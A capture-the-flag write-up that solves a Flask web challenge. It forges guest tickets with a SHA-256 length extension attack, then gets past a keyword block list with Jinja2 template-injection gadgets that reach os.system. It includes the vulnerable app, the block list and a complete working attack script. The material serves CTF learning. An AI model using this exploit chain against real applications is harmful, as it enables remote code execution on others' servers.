UofTCTF25 My Second App - Sun, Jan 12, 2025 - Linkster78
Stuck in templating hell | Web | Uoftctf25
Preamble
For the sake of storytelling and comedy, this writeup will describe my experience with this challenge including the hickups, the facepalms and premature celebrations.
This challenge was solved by 5 teams out of 899.
What’s the challenge?
After the failure of My First App, I decided that I just can’t trust user input anymore. So for my second app, I made a website that only allows pre-approved guests to access it. Oh, and I fired the old firewall guy in favor of a new one. The new one is wayyyyy better. Now I’m sure now that it’s unhackable!
Author: SteakEnthusiast
This is a challenge from the web category. We can deploy our own instance with the handy dandy UofTCTF instance deployment widget (props to the infra team).
Once we deploy our instance and visit the given URL, we are presented with this bootstrap 3 looking website.
There, we can see a list of guests which each have a name and a ticket ID. Clicking on the Sign In button brings us to a simple welcome page with no further options.
We can also use the form at the bottom of the site to enter a specific name and ticket ID. If our name and ticket ID figures in the list, we are let in to the welcome page.
Challenge files
Now that we’re well acquainted with the frontend, let’s take a look at the conveniently available backend code.
Once unzipped, the challenge files reveal a small and simple Flask application.
src/
- static/
- js/
- welcome.js
- templates/
- index.html
- welcome.html
- guest_list.py
- guests.txt
Dockerfile
readflag.c
- The static files are unsurprisingly not very interesting;
- The templates hold the Jinja2 templates used for the frontend;
- The
guests.txt
file contains a list of allowed guests; - The
guest_list.py
file contains the application code; - The
Dockerfile
describes the container and lets us deploy it for ourselves; - And
readflag.c
is a small setuid C program which reads/flag.txt
and prints it to stdout.
By reading the Dockerfile
’s contents, it becomes obvious that we’ll need to find a way to execute code. /flag.txt
is readable only by root and the application runs under the flask user. As such, we’ll need to call the setuid /readflag
program to get our flag.
So let’s take a look at the code, shall we?
The backend™
Here is the full backend, I will be referencing it at different points in the writeup by including the concerned code. Feel free to give it a cursory glance, but we’ll take a look at its important parts in due time.
from flask import Flask, request, render_template, render_template_string, flash, redirect, url_for
import hashlib
import os
import random
app = Flask(__name__)
app.secret_key = os.urandom(24)
SECRET_KEY = os.urandom(random.randint(16, 64))
MALICIOUS_SUBSTRINGS = [
'#','%', '!', '=', '+', '-', '/', '&', '^', '<', '>','and', 'or', 'not','\\', '[', ']', '.', "_",',',"0","1","2","3","4","5","6","7","8","9",'"', "'",'`','?',"attr","request","args","cookies","headers","files","form","json","flag",'lipsum','cycler','joiner','namespace','url_for','flash','config','session','dict','range','lower', 'upper', 'format', 'get', "item", 'key', 'pop', 'globals', 'class', 'builtins', 'mro',"True","False"
]
GUESTS = []
def good(name):
if not all(ord(c) < 255 for c in name):
return False
for substring in MALICIOUS_SUBSTRINGS:
if substring in name:
return False
return True
def load_guests():
with open("./guests.txt", 'r') as f:
for line in f:
name = line.strip()
if not name:
continue
assert good(name), f"Bad name: {name}"
ticket = hashlib.sha256(SECRET_KEY + name.encode('latin-1')).hexdigest()
GUESTS.append({
"name": name,
"ticket": ticket
})
def verify_ticket(name, ticket):
expected = hashlib.sha256(SECRET_KEY + name.encode('latin-1')).hexdigest()
return expected == ticket
@app.route('/')
def index():
return render_template('index.html', guests=GUESTS)
@app.route('/signin', methods=['POST'])
def signin():
name = request.form.get('name')
ticket = request.form.get('ticket')
if not name or not ticket:
flash("You must provide a name and ticket!", "warning")
return redirect(url_for('index'))
if verify_ticket(name, ticket):
if not good(name):
flash(f"The ticket for {name} has been revoked!", "danger")
return redirect(url_for('index'))
try:
with open("./templates/welcome.html", 'r') as f:
template_content = f.read()
rendered_template = template_content % (name,)
return render_template_string(rendered_template)
except Exception as e:
flash(f"An error occurred: {e}", "danger")
return redirect(url_for('index'))
else:
flash(f"{name} is not invited!", "danger")
return redirect(url_for('index'))
if __name__ == '__main__':
load_guests()
app.run(host='0.0.0.0', port=5000)
First of all, with a challenge like this, it’s good to find our target point. From the Dockerfile
, we know that our goal is to call /readflag
and by extension to execute code. So how do we get there?
If you’re familiar with the common web vulnerabilities, you might’ve seen something interesting, specifically this part:
with open("./templates/welcome.html", 'r') as f:
template_content = f.read()
rendered_template = template_content % (name,)
return render_template_string(rendered_template)
This bit of code reads the template data from welcome.html
, uses a Python format string to insert our name (by replacement of %s
) and then renders the result as a template string 🚨.
While this may seem benign at first, it needs to be understood that render_template_string
takes a string and renders an HTML page with the Jinja2 templating engine. This would typically be used to render a list of items as HTML tags, include a username in a paragraph, etc.
However, as a fully capable templating engine, Jinja2 templates can also call functions, access attributes and do pretty much anything that a typical Python program would do.
As such, if we can find a way to control the value of the name
argument, we may be able to gain full code execution. So how do we control name
?
Crypto? Ah f-
The signin route code goes as follows:
@app.route('/signin', methods=['POST'])
def signin():
name = request.form.get('name')
ticket = request.form.get('ticket')
if not name or not ticket:
flash("You must provide a name and ticket!", "warning")
return redirect(url_for('index'))
if verify_ticket(name, ticket):
if not good(name):
flash(f"The ticket for {name} has been revoked!", "danger")
return redirect(url_for('index'))
try:
with open("./templates/welcome.html", 'r') as f:
template_content = f.read()
rendered_template = template_content % (name,)
return render_template_string(rendered_template)
except Exception as e:
flash(f"An error occurred: {e}", "danger")
return redirect(url_for('index'))
else:
flash(f"{name} is not invited!", "danger")
return redirect(url_for('index'))
- The
name
andticket
parameters are taken from the POST formdata (fully controlled user input). - The existence of
name
andticket
is checked. - Our ticket and name combination is verified with
verify_ticket
(more on that later). - The name is passed through a validation / sanitization function called
good
.
The verify_ticket
function is fairly straightforward:
def verify_ticket(name, ticket):
expected = hashlib.sha256(SECRET_KEY + name.encode('latin-1')).hexdigest()
return expected == ticket
The name is concatenated to a SECRET_KEY
(unknown, random and of sufficient length to not be guessable) and then the ticket_id is checked against it.
This stumped me for a bit since I’m not a crypto-wizard. Most of my crypto knowledge comes from easy CTFs, the first chapter of cryptopals and crypto101.
After a bit of research however, it became clear that this verification was vulnerable to a hash extension attack.
I won’t go into details into the inner workings of hash functions and hash extension attacks to keep this writeup short(ish), but an explanation can be found here.
Name changes as a service
If this was a cryptography challenge, I would try to implement the hash extension attack myself, but since this is a web challenge, I’ll be using this handy library by Stephen Bradshaw.
One requirement of hash extension attacks is that we need to know the length of the prefixed secret. While it’s not exactly unknown in this challenge, it does vary:
SECRET_KEY = os.urandom(random.randint(16, 64))
As we’ve seen earlier, the main page of the site contains valid guest names and tickets (hashes). We can use this and the hash extension library to quickly whip up an attack.
import requests
import hlextend
import sys
import urllib.parse
import re
hostname = sys.argv[1]
resp = requests.get(hostname)
yoinked = re.findall(r"<td>([^>]+)</td>", resp.text)[:2]
# iterate over possible secret key lengths
for key_len in range(16, 64 + 1):
sha = hlextend.new("sha256")
extended = sha.extend(b"appended", yoinked[0].encode(), key_len, yoinked[1])
payload = (
"name=" + urllib.parse.quote_from_bytes(extended) + "&ticket=" + sha.hexdigest()
)
for i in range(0x80, 256):
payload = payload.replace(f"%{hex(i)[2:]}".upper(), chr(i))
resp = requests.post(
hostname + "/signin",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=payload,
)
if "Thank you" in resp.text:
break
elif "revoked" in resp.text:
print(payload)
print("REVOKED")
elif "not invited" in resp.text:
continue
elif "must provide a name and" in resp.text:
print("MUST PROVIDE NAME AND TICKET")
else:
print(resp.text)
print("UNKNOWN")
print(f'good: {key_len}')
- We first get a
name
andticket_id
from the website with a small regex. - We then iterate through all possible key lengths and
- Perform a hash extension attack with the data
appended
(placeholder). - If it works, exit, we’ve found our key length.
- Perform a hash extension attack with the data
If we run it against our local app, we get a hit. We can now send arbitrary names!
Deflated
At first, I thought this was the end but boy oh boy, my dreams were about to be shattered.
I changed my script to make it easy to send Jinja2 payloads:
while True:
inj = input("> ")
inj = " {{" + inj + "}} "
sha = hlextend.new("sha256")
extended = sha.extend(
inj.encode("latin-1"), yoinked[0].encode(), key_len, yoinked[1]
)
payload = (
"name="
+ urllib.parse.quote_from_bytes(extended)
+ "&ticket="
+ sha.hexdigest()
)
for i in range(0x80, 256):
payload = payload.replace(f"%{hex(i)[2:]}".upper(), chr(i))
resp = requests.post(
hostname + "/signin",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=payload,
)
print(html.unescape(resp.text))
I ran the attack, sent it a simple sanity check (5+5
) and then…
The ticket for Sir Lancelot the Brave {{5+5}} has been revoked!
Oh no, what did I miss?
The good
function, of course. Here’s the source code:
def good(name):
if not all(ord(c) < 255 for c in name):
return False
for substring in MALICIOUS_SUBSTRINGS:
if substring in name:
return False
return True
That doesn’t seem too bad, the name is checked for any non-ascii characters and then a list of malicious substrings are checked for. Let’s see what the malicious substr-
MALICIOUS_SUBSTRINGS = [
'#','%', '!', '=', '+', '-', '/',
'&','^', '<', '>','and', 'or', 'not',
'\\', '[', ']', '.', "_",',','1','2','3',
'4','5','6','7','8','9','0','"', "'",'`',
'?',"attr","request","args","cookies","headers",
"files","form","json","flag",'lipsum','cycler',
'joiner','namespace','url_for','flash','config',
'session','dict','range','lower', 'upper', 'format',
'get', "item", 'key', 'pop', 'globals', 'class',
'builtins','mro',"True","False"
]
Not only did my earlier 5+5
query not work, NONE of the characters were allowed. The malicious substring list includes:
- All digits.
- The large majority of Python operators.
- Dots, subscript symbols ([]).
- All quotes.
- A bunch of keywords and useful variables.
Honestly, at this point, I was heavily considering switching challenges, but the appeal of a first blood and the prospect of learning something was strong. (I did not get the first blood)
Oh, the misery
So what can we realistically do here?
- Let’s write a string!
- Wait, quotes aren’t allowed.
- Let’s get an object’s property!
- Wait, dots aren’t allowed.
- Oh, but what about square brackets? Surely we can use these to access-
- No.
- Huh, well good thing that Jinja2 has the
attr
filter, surely we can-- Check the malicious keywords.
- Maybe format strings?
- Again, no strings.
- And
format
is blocked. Are you really trying?
As with most jail challenges, the initial instinct is to reach for common patterns, things that obviously, are blocked. Fortunately, typical code execution payloads only need a few operations and we can try to build these from what we have.
Let’s take this payload for example, taken from YesWeHack’s blog.
self._TemplateReference__context.cycler.__init__.__globals__.os.popen(self.__init__.__globals__.__str__()[1786:1788]).read()
This may seem complicated, but all that we’re doing here is taking some object by its name, accessing a bunch of properties in sequence, making two function calls and one subscript.
- We can write names down since characters are allowed, we just can’t use strings.
- We can’t currently index into properties. So we’ll need a way to take some object and get a property of some kind, whether that’s with an index or a name.
- We can invoke methods since parentheses are allowed.
- We can’t use subscripts, per the second point.
From this point on, I’ll refer to tricks that perform these operations as gadgets. If everything goes to plan, we should be able to chain a bunch of gadgets to achieve our goals.
Jinja2 filters & vars
To come up with these gadgets, we need to understand the limitations and capabilities of the Jinja template syntax. The documentation covers the important topics, but here’s a short rundown of the useful components.
Syntax & filters
Firstly, Jinja generally behaves like Python with most syntax being equivalent, except for the |
operator.
The |
operator is used for filtering. In Jinja, filters are utility functions that take some input and parameters, process it and output its result. The syntax goes as follows: OBJ|FILTER(params)
.
For example, the upper
filter may be used as such to take a string and uppercase it: "hello"|upper
-> "UPPER"
.
While this resembles typical function calls, functions can’t be called with the same syntax.
Available filters & globals
Secondly, within a Jinja template, only a small subset of the global variables are accessible.
- The default Jinja filters can be found in the docs or here in the source code.
- The default Jinja objects can be found here.
range
,dict
,lipsum
,cycler
,joiner
,namespace
Flask also makes a few additional objects available, namely: g
, url_for
, get_flashed_messages
, config
, request
and session
.
Because of the list of malicious keywords, the large majority of these are unusable, but there’s still some useful ones that we’ll use extensively.
Preliminary gadgets
To play around with gadgets and filters and in order to fully understand what’s going on, we’ll disable the malicious keywords for now.
Surely this won’t be a problem later…
Numbers
For starters, we’ll need a way to get numbers. For this, we can use tuples combined with the count
or length
filter.
For example, if we want the number 5, we could write ((),(),(),(),())|count
.
Great, that wasn’t too hard! Next.
Indexing
There’s a filter called map
.
Applies a filter on a sequence of objects or looks up an attribute. This is useful when dealing with lists of objects but you are really only interested in a certain value of it.
According to this, we should be able to use it for both named attributes and indexing. Let’s try it out.
If we send [{"abc":5}]|map(attribute="abc")|first
, we get 5!
There’s a couple of issues though:
- We’re using strings and integers.
- We’re using square brackets.
For the strings and integers, that’s not much of a problem since we’re assuming that these will be replaced by gadgets of some kind.
For the square brackets though, we can resort to using tuples to solve the problem. For example, this is equivalent: ({"abc":5},)|map(attribute="abc")|first
.
Another one down!
Strings
For strings, we can use our numeric and indexing capabilities to index into strings. From there, we can use the join
filter to take that list (or tuple) of characters and join them into one beautiful string.
For this we’ll need character sources to steal pick from, here’s a few:
g|string
:<flask.g of 'guest_list'>
self|string
:<TemplateReference None>
g|map|string
:<generator object sync_do_map at 0x............>
g|batch({}|count)|string
:<generator object do_batch at 0x............>
From these sources, we can imagine some kind of gadget such as this one that would merge these characters:
(index(source,n),...,index(source,n))|join
Using our previous gadgets, we can try to use this to get the string abc
:
((((g|string,)|map(attribute=(((),(),(),)|count))|first),((g|map|string,)|map(attribute=(((),(),(),(),(),(),(),(),(),(),(),(),)|count))|first),((self|string,)|map(attribute=(((),(),(),(),(),(),(),(),(),(),(),(),(),(),(),(),)|count))|first),)|join)
Success! We’re ready for code execution… right?
A bit of hindsight
Those who have read the the MALICIOUS_SUBSTRINGS
list closely, have tried the challenge for themselves or have paid attention thus far may know what’s coming.
I re-enabled the MALICIOUS_SUBSTRINGS
, I took my great string gadget, fed it with __class__
, took the payload and sent it off to the server. Only to be met with:
The ticket for ... has been revoked!
Huh…? What did I miss?
Surely enough, with all my haste and by previous disabling of the malicious keywords, I forgot that =
and ,
was blocked. This is awkward…
Gadgets round two
Unfortunately, this broke every single gadget thus far and I had to start from scratch.
Numbers
Now what? We can’t make tuples without commas, we can’t concatenate strings or lists since we don’t have the +
symbol and we can’t even create dictionaries with more than one key since we can’t merge them (the |
operator is reserved).
This is where an unlikely hero and a non-standard operator comes in, the tilde ~
.
As per the documentation, the tilde operator takes both sides of the operator, converts them to strings and concatenates them.
We can use this to create arbitrary numbers as such:
(({}~{}~{})|count) = 6
({}~({}|count))|count = 3
While the final solution uses a mix of naive concatenation and binary shifting, this suffices for now:
def num(i: int) -> str:
naive_acc = "~".join((i // 2) * ["{}"])
if i % 2 == 1:
naive_acc += "~({}|int|string)"
return f'(({naive_acc})|count)'
Indexing
This one is a bit tricky. By not being able to use the =
operator, we can no longer call the map
filter with attribute
set. Or can we?
Since asterisks are allowed, we can use the unpacking syntax on a dictionary to set the attribute
.
For example, instead of map(attribute=5)
, we can do map(**{"attribute":5})
.
Another issue that we have is the requirement of an iterable for the map
filter. Previously, we accomplished this by creating a single element tuple, but this requires a comma, which is no longer viable.
Fortunately, as long as the object is hashable, we can create a dictionary, use the object as a key and convert it to a list.
For example: {g:{}}|list
-> [g]
.
We can combine these two gadgets to make our new indexing gadget.
def make_list(obj: str) -> str:
return f"({{{obj}:{num(0)}}}|list)"
def index_gen(obj: str, indices: int | str | list[str | int]) -> str:
if not isinstance(indices, list):
indices = [indices]
acc = f"({make_list(obj)}"
for idx in indices:
if isinstance(idx, str):
idx_fmt = text(idx)
else:
idx_fmt = num(idx)
acc += f"|map(**{{{text('attribute')}:{idx_fmt}}})"
return acc + "|first)"
This works great, except that it doesn’t. We need the attribute
string which relies on our text gadget, but the text gadget relies on the indexing. What to do…
Indexing numerically
A solution to this is to split the indexing in two different gadgets, a generic variant and a numeric variant, which our text gadget will rely on.
This took a bit of trial and error and some source code reading, but it turns out that this can be done with the batch
filter.
A filter that batches items. It works pretty much like
slice
just the other way round. It returns a list of lists with the given number of items.
This is perfect. Let’s imagine a list of 8 elements in which we want to index for the 4th element.
[0,1,2,3,4,5,6,7,8]
|batch(4+1)
[[0,1,2,3,4],[5,6,7,8]]
|first
[0,1,2,3,4]
|last
4
This can be generalized with this code:
def index_num(obj: str, idx: int) -> str:
if idx == 0:
return f"({obj}|first)"
return f"({obj}|batch({num(idx + 1)})|list|first|last)"
On to strings, again.
Strings
Our string gadget can still behave in the same manner, by taking characters from a bunch of different sources.
Since we can’t create a list/tuple, we can now rely on the ~
operator to concat all of the characters instead of using the join
filter.
Here is the final version of the gadget:
def text(s: str) -> str:
gadgets = {}
for i in range(10):
gadgets[str(i)] = f"({num(i)}|string)"
for source, value in sorted(char_sources.items(), key=lambda x: len(x[0])):
for c in value:
if c not in gadgets:
gadgets[c] = index_num(source, value.find(c), len(value))
missing = {c for c in s if c not in gadgets}
if missing:
exit(f"missing chars: {missing}")
return "(" + "~".join([f"({gadgets[c]})" for c in s]) + ")"
char_sources
is a dictionary that contains the character sources mentioned earlier.
This was a triumph
Now that we have our gadgets, writing the attack script is pretty trivial.
The payload itself can be done in multiple different ways, but I chose to read the flag and write it to the welcome.html
template since it would be rendered on the website.
command = '(/readflag && echo \'%s\') > /app/templates/welcome.html'.encode().hex()
os_system_str = index_gen("self", ["_TemplateReference__context", "cycler", "__init__", "__globals__", "os", "system"])
command_str = f'{index_gen("self", ["_TemplateReference__context", "cycler", "__init__", "__globals__", "__builtins__", "bytes", "fromhex"])}({text(command)})'
inj = f'{{{{ {os_system_str}({command_str}) }}}}'
We then ship our payload off to the server (totalling 23k characters), we sign in as a random user in the guest list and we get our flag.
End note
This was a frustratingly fun challenge in the end that came with a lot of “it’s doomed” and “we are so back” moments.
A huge thanks to SteakEnthusiast for making the challenge (and so many others alongside it).
The lesson learned here: don’t disable the blacklist in a jail challenge for long periods of time.
Full attack script
import requests
import hlextend
import sys
import urllib.parse
import re
import html
import math
hostname = sys.argv[1]
resp = requests.get(hostname)
yoinked = re.findall(r"<td>([^>]+)</td>", resp.text)[:2]
# iterate over possible secret key lengths
for key_len in range(16, 64 + 1):
sha = hlextend.new("sha256")
extended = sha.extend(b"appended", yoinked[0].encode(), key_len, yoinked[1])
payload = (
"name=" + urllib.parse.quote_from_bytes(extended) + "&ticket=" + sha.hexdigest()
)
for i in range(0x80, 256):
payload = payload.replace(f"%{hex(i)[2:]}".upper(), chr(i))
resp = requests.post(
hostname + "/signin",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=payload,
)
if "Thank you" in resp.text:
break
elif "revoked" in resp.text:
print(payload)
print("REVOKED")
elif "not invited" in resp.text:
continue
elif "must provide a name and" in resp.text:
print("MUST PROVIDE NAME AND TICKET")
else:
print(resp.text)
print("UNKNOWN")
print(f'good: {key_len}')
mode = input("mode: (_Attack/_test) ")
if mode == "t":
while True:
inj = input("> ")
print(inj)
inj = " {{" + inj + "}} "
sha = hlextend.new("sha256")
extended = sha.extend(
inj.encode("latin-1"), yoinked[0].encode(), key_len, yoinked[1]
)
payload = (
"name="
+ urllib.parse.quote_from_bytes(extended)
+ "&ticket="
+ sha.hexdigest()
)
for i in range(0x80, 256):
payload = payload.replace(f"%{hex(i)[2:]}".upper(), chr(i))
resp = requests.post(
hostname + "/signin",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=payload,
)
print(html.unescape(resp.text))
char_sources = {
"g|string": "<flask.g of 'guest_list'>",
"self|string": "<TemplateReference None>",
"g|map|string": "<generator object sync_do_map at 0x~~~~~~~~~~~~>",
"g|batch({}|count)|string": "<generator object do_batch at 0x~~~~~~~~~~~~>",
}
def num(i: int) -> str:
if i == 0:
return "({}|int)"
elif i == 1:
return "({}|int|string|count)"
elif i == 2:
return "({}|string|count)"
log_2 = math.log2(i)
acc = ""
for p2 in range(int(log_2) + 1):
if acc:
acc = f"({acc}*{num(2)})"
if (i >> (int(log_2) - p2)) & 1:
if acc:
acc += "~"
acc = f"({acc}({{}}|int|string))"
naive_acc = "~".join((i // 2) * ["{}"])
if i % 2 == 1:
naive_acc += "~({}|int|string)"
if len(naive_acc) < len(acc):
acc = naive_acc
return "((" + acc + ")|count)"
def index_num(obj: str, idx: int) -> str:
if idx == 0:
return f"({obj}|first)"
return f"({obj}|batch({num(idx + 1)})|list|first|last)"
def text(s: str) -> str:
gadgets = {}
for i in range(10):
gadgets[str(i)] = f"({num(i)}|string)"
for source, value in sorted(char_sources.items(), key=lambda x: len(x[0])):
for c in value:
if c not in gadgets:
gadgets[c] = index_num(source, value.find(c))
missing = {c for c in s if c not in gadgets}
if missing:
exit(f"missing chars: {missing}")
return "(" + "~".join([f"({gadgets[c]})" for c in s]) + ")"
def make_list(obj: str) -> str:
return f"({{{obj}:{num(0)}}}|list)"
def index_gen(obj: str, indices: int | str | list[str | int]) -> str:
if not isinstance(indices, list):
indices = [indices]
acc = f"({make_list(obj)}"
for idx in indices:
if isinstance(idx, str):
idx_fmt = text(idx)
else:
idx_fmt = num(idx)
acc += f"|map(**{{{text('attribute')}:{idx_fmt}}})"
return acc + "|first)"
command = '(/readflag && echo \'%s\') > /app/templates/welcome.html'.encode().hex()
os_system_str = index_gen("self", ["_TemplateReference__context", "cycler", "__init__", "__globals__", "os", "system"])
command_str = f'{index_gen("self", ["_TemplateReference__context", "cycler", "__init__", "__globals__", "__builtins__", "bytes", "fromhex"])}({text(command)})'
inj = f'{{{{ {os_system_str}({command_str}) }}}}'
sha = hlextend.new("sha256")
extended = sha.extend(inj.encode("latin-1"), yoinked[0].encode(), key_len, yoinked[1])
payload = (
"name=" + urllib.parse.quote_from_bytes(extended) + "&ticket=" + sha.hexdigest()
)
for i in range(0x80, 256):
payload = payload.replace(f"%{hex(i)[2:]}".upper(), chr(i))
resp = requests.post(
hostname + "/signin",
headers={"Content-Type": "application/x-www-form-urlencoded"},
data=payload,
)
print(html.unescape(resp.text))